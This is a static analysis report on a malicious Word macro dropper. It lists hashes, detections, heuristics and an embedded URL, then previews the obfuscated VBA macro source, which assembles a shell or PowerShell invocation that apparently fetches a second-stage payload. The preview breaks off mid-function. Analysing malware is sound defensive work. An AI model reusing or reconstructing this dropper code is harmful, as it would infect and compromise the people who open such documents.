Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 40a8b6404d09ce19…

MALICIOUS

Office (OLE)

142.5 KB Created: 2018-05-22 11:39:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: f257438bd181a6c21ce602eaeecda4be SHA-1: b66e5901303648d774f4436f92173f1f5ec505a3 SHA-256: 40a8b6404d09ce1956eef0cbaebf3efddaee75dc1f3bc312569451f6ddfa0b48
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains critical heuristics indicating the presence of VBA macros and a Shell() call, strongly suggesting malicious intent. The ClamAV detection name 'Doc.Dropper.Agent-6556400-0' further supports this. The VBA script, though obfuscated, likely uses the Shell() function to download and execute a second-stage payload from the unknown URL 'http://besnNZgEj0'.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6556400-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6556400-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://besnNZgEj0 In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 158306 bytes
SHA-256: 05811f1455e97079420dd79971b188681ec628fc8167042b922a484cfb4cc9a7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "RHHSkBvLnSw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function JitqmPp()

On Error Resume Next
PRfcZ = (UjnpPLbowNi - CDbl(898001) + MjWQTwtA + Fix(oXiRd / CLng(328963 * Sqr(koWNTVUbWG))) - 916318 / Sin(GOHUW - cwzqizwiiZo - 59716 + CLng(JEXmWrAcz)) * 874183 * Fix(898001))
woWtHltr = "irwGCdoweScZaershell & ( nuAP9cCZqh3SIrgy$w2gab9"
tYUjSQKts = CStr(Left(Right(woWtHltr, 42), 3)) + Left(Right(woWtHltr, 34), 11) + CStr(Left(Right(woWtHltr, 7), 1)) + CStr(Left(Right(woWtHltr, 39), 1))

lTfNjm = "bCihEGCdLlID[1aeIpb31zo]rid"
zHjMGzYw = CStr(Left(Right(lTfNjm, 24), 2)) + CStr(Left(Right(lTfNjm, 19), 6)) + Left(Right(lTfNjm, 4), 1)

fNrlZBKzD = Chr(43)
fldSvZRPmd = "]bCi$shellID[13aeIpb31zoSridnuAP9cCZ"
HHsSBPwq = CStr(Left(Right(fldSvZRPmd, 32), 2)) + CStr(Left(Right(fldSvZRPmd, 30), 9)) + Left(Right(fldSvZRPmd, 36), 1)

OimnllJud = Chr(43)
zWZMQ = "irwGCdmd'x')R'Ipb3( (' iNvoKE-eXZqh3SIrgyBw2gab9wFnxsbpGzEdPjcE"
uLJCd = Left(Right(zWZMQ, 55), 4) + CStr(Left(Right(zWZMQ, 45), 14)) + Left(Right(zWZMQ, 9), 1) + Left(Right(zWZMQ, 51), 2)

RBmviHQG = Chr(43)
wGLhwED = "LYrre'o2tX8GdQcwhAtnIQ'Ej0ssIoN ((UiJ22"
lPEpfzK = Left(Right(wGLhwED, 17), 2) + Left(Right(wGLhwED, 13), 8) + Left(Right(wGLhwED, 36), 3)

rhAsa = Chr(43)
UAVFFwHkE = (Vcjrvmf - CDbl(128894) + aVzDnLov + Fix(jALsZjMFFiK / CLng(637191 * Sqr(inZLf))) - 900871 / Sin(nNrSXQWhw - QNKQKCXjt - 179610 + CLng(wsTlqHVa)) * 297363 * Fix(128894))
LLzMElpZ = "LOrUB9o2tX'GOOrehA"
vsWajIliS = CStr(Left(Right(LLzMElpZ, 8), 1)) + CStr(Left(Right(LLzMElpZ, 6), 4)) + Left(Right(LLzMElpZ, 17), 1)

WsCqbrCp = Chr(43)
tzbrwQCWM = "LOrUB9o2tX8GrQeOerenI"
DKCFRNjEYM = Left(Right(tzbrwQCWM, 9), 1) + CStr(Left(Right(tzbrwQCWM, 7), 5)) + CStr(Left(Right(tzbrwQCWM, 20), 1))

LcrtKGjY = Chr(43)
NADNR = (PtAJjVIdQiF - CDbl(213642) + ItIqMTFkpJA + Fix(UQTfLXG / CLng(889378 * Sqr(tAwPVKEwT))) - 224346 / Sin(ktTal - wWojHhDFtio - 181553 + CLng(CcRscVF)) * 432702 * Fix(213642))
TwkXlfTDiOr = "LOrUB9o2tX8GrQeOJrenI"
ziozToHtHDN = Left(Right(TwkXlfTDiOr, 9), 1) + CStr(Left(Right(TwkXlfTDiOr, 7), 5)) + CStr(Left(Right(TwkXlfTDiOr, 20), 1))

WHXThWUFqd = Chr(43)
EbfcDOjzMn = "LYrU(ireOX8GdQcwhAtnIQplj0nMTLVNreOiJ2nsadasd = &j0Y34mui"
uwqFYoKqzN = Left(Right(EbfcDOjzMn, 25), 3) + CStr(Left(Right(EbfcDOjzMn, 19), 11)) + Left(Right(EbfcDOjzMn, 53), 5)

VwJQUYwVpi = Chr(43)
UPNRwhr = "LYeOB9o2tX8GdQcreAO0Znrlj0n"
vGvwcwMfb = Left(Right(UPNRwhr, 12), 2) + Left(Right(UPNRwhr, 9), 5) + Left(Right(UPNRwhr, 25), 2)

VztBc = Chr(43)
sOMoSFWWU = "LZrUB9o2tXrGeOi0hA"
iFwMQcjmY = CStr(Left(Right(sOMoSFWWU, 8), 1)) + CStr(Left(Right(sOMoSFWWU, 6), 4)) + Left(Right(sOMoSFWWU, 17), 1)
BPOrpNQtRRS = (IZSiKjSl - CDbl(926306) + pjAsYHthi + Fix(qDnXuCJGvDu / CLng(170884 * Sqr(viNBBtjTiT))) - 394409 / Sin(RLiOzRFXLiT - TVCXcAcX - 762236 + CLng(nzkSfXGzw)) * 142238 * Fix(926306))
OjVfXHJszO = Chr(43)
RkmXk = "LOrUB9o2iX0reQc"
RiaQaQJXfZU = CStr(Left(Right(RkmXk, 7), 1)) + CStr(Left(Right(RkmXk, 5), 3)) + Left(Right(RkmXk, 14), 1)

nQGdiss = Chr(43)
zivGJfF = "L0ZUB9o2tX8GdrceOZeiIQpl"
wEDNllLb = CStr(Left(Right(zivGJfF, 11), 1)) + Left(Right(zivGJfF, 9), 5) + CStr(Left(Right(zivGJfF, 23), 2))

pzvcmlEhni = Chr(43)
JitqmPp = tYUjSQKts + zHjMGzYw + fNrlZBKzD + HHsSBPwq + OimnllJud + uLJCd + RBmviHQG + lPEpfzK + rhAsa + vsWajIliS + WsCqbrCp + DKCFRNjEYM + LcrtKGjY + ziozToHtHDN + WHXThWUFqd + uwqFYoKqzN + VwJQUYwVpi + vGvwcwMfb + VztBc + iFwMQcjmY + OjVfXHJszO + RiaQaQJXfZU + nQGdiss + wEDNllLb + pzvcmlEhni

End Function

Function LBnRuKiPQ()

On Error Resume Next
wrJJN = (RmTaCwKLKAq - CDbl(808779) + mYiUIticSz + Fix(VShlPhnqvc / CLng(995745 * Sqr(wotEn))) - 255777 / Sin(XXfZiF - FXbiQf - 512430 + CLng(iTuwIVKvdX)) * 243553 * Fix(808779))
FlihABL = "LYeOB9o2tX8GdQci0AZw-orlj0n"
DEfUWqpZ = Left(Right(FlihABL, 12), 2) + Left(Right(Flih
... (truncated)